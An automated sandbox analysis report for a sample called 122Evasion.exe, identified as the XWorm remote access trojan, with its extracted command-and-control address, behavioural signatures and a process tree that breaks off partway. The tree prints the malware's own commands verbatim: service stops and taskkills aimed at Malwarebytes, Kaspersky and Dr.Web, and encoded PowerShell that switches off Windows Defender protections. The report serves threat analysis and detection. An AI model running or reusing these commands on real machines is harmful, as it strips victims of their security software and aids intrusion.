Overview

overview

10

Static

static

10

122Evasion.exe

windows10-ltsc_2021-x64

10

122Evasion.exe

windows11-21h2-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    324s
  • max time network
    325s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    21/06/2026, 09:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    122Evasion.exe
  • Size 31.9MB
  • Sample260621-lb1z6sdv21
  • SHA256 e09f1523a9711952a134d5781b2f66c75fbfada40b61e08c287c57975a8c4535
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionxwormrattrojan

Malware Config

Extracted

Family

  • xworm

C2

  • 7326.info:2686

Attributes
  • install_file

    USB.exe

  • localhost

    127.0.0.1

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Detect Xworm Payload 1 IoCs
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
    defense_evasiontrojan
  • UAC bypass 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 26 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 22 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 30 IoCs
    defense_evasion
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\122Evasion.exe
    "C:\Users\Admin\AppData\Local\Temp\122Evasion.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3448
    • C:\Users\Admin\AppData\Local\Temp\122Evasion.exe
      "C:\Users\Admin\AppData\Local\Temp\122Evasion.exe"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • UAC bypass
      • Loads dropped DLL
      • Checks whether UAC is enabled
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:1780
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "KSecDD""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1352
        • C:\Windows\system32\sc.exe
          sc stop "KSecDD"
          4⤵
          • Launches sc.exe
          PID:768
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "MRxSmb""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:960
        • C:\Windows\system32\sc.exe
          sc stop "MRxSmb"
          4⤵
          • Launches sc.exe
          PID:3876
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:712
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3856
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAMService.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4640
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4100
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im Malwarebytes.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1196
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4984
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAMTray.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:436
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:444
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAMWsc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2796
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAM.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3844
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAM.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2964
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:916
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im mbam.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1072
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMChameleon.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2624
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MBAMChameleon.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1284
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUAByAGkAdgBhAGMAeQBNAG8AZABlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBpAGcAbgBhAHQAdQByAGUARABpAHMAYQBiAGwAZQBVAHAAZABhAHQAZQBPAG4AUwB0AGEAcgB0AHUAcABXAGkAdABoAG8AdQB0AEUAbgBnAGkAbgBlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUASQBuAHQAcgB1AHMAaQBvAG4AUAByAGUAdgBlAG4AdABpAG8AbgBTAHkAcwB0AGUAbQAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFAAVQBBAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUAByAGkAdgBhAGMAeQBNAG8AZABlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBpAGcAbgBhAHQAdQByAGUARABpAHMAYQBiAGwAZQBVAHAAZABhAHQAZQBPAG4AUwB0AGEAcgB0AHUAcABXAGkAdABoAG8AdQB0AEUAbgBnAGkAbgBlACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUASQBuAHQAcgB1AHMAaQBvAG4AUAByAGUAdgBlAG4AdABpAG8AbgBTAHkAcwB0AGUAbQAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFAAVQBBAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:700
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "AVP""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:408
        • C:\Windows\system32\sc.exe
          sc stop "AVP"
          4⤵
          • Launches sc.exe
          PID:1060
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "AVPService""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1732
        • C:\Windows\system32\sc.exe
          sc stop "AVPService"
          4⤵
          • Launches sc.exe
          PID:3692
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "KAV""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4484
        • C:\Windows\system32\sc.exe
          sc stop "KAV"
          4⤵
          • Launches sc.exe
          PID:3024
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "KIS""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1996
        • C:\Windows\system32\sc.exe
          sc stop "KIS"
          4⤵
          • Launches sc.exe
          PID:4028
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "KSC""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3312
        • C:\Windows\system32\sc.exe
          sc stop "KSC"
          4⤵
          • Launches sc.exe
          PID:3452
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "Kaspersky""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4972
        • C:\Windows\system32\sc.exe
          sc stop "Kaspersky"
          4⤵
          • Launches sc.exe
          PID:1088
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1064
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im avp.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3144
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1584
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kav.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2480
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2424
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kis.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3492
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3876
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im ksc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1164
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1804
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im kaspersky.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4128
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "drweb""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4380
        • C:\Windows\system32\sc.exe
          sc stop "drweb"
          4⤵
          • Launches sc.exe
          PID:3392
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "dwengine""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3140
        • C:\Windows\system32\sc.exe
          sc stop "dwengine"
          4⤵
          • Launches sc.exe
          PID:3164
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "drwebservice""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3176
        • C:\Windows\system32\sc.exe
          sc stop "drwebservice"
          4⤵
          • Launches sc.exe
          PID:3756
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2056
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im drweb.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:772
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3048
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im dwengine.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1904
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4832
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im drwebservice.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:660
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "gpupdate /force"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5084
        • C:\Windows\system32\gpupdate.exe
          gpupdate /force
          4⤵
            PID:4896
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "sc stop "KSecDD""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2032
          • C:\Windows\system32\sc.exe
            sc stop "KSecDD"
            4⤵
            • Launches sc.exe
            PID:2328
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "sc stop "MRxSmb""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3060
          • C:\Windows\system32\sc.exe
            sc stop "MRxSmb"
            4⤵
            • Launches sc.exe
            PID:4512
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
          3⤵
            PID:5004
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
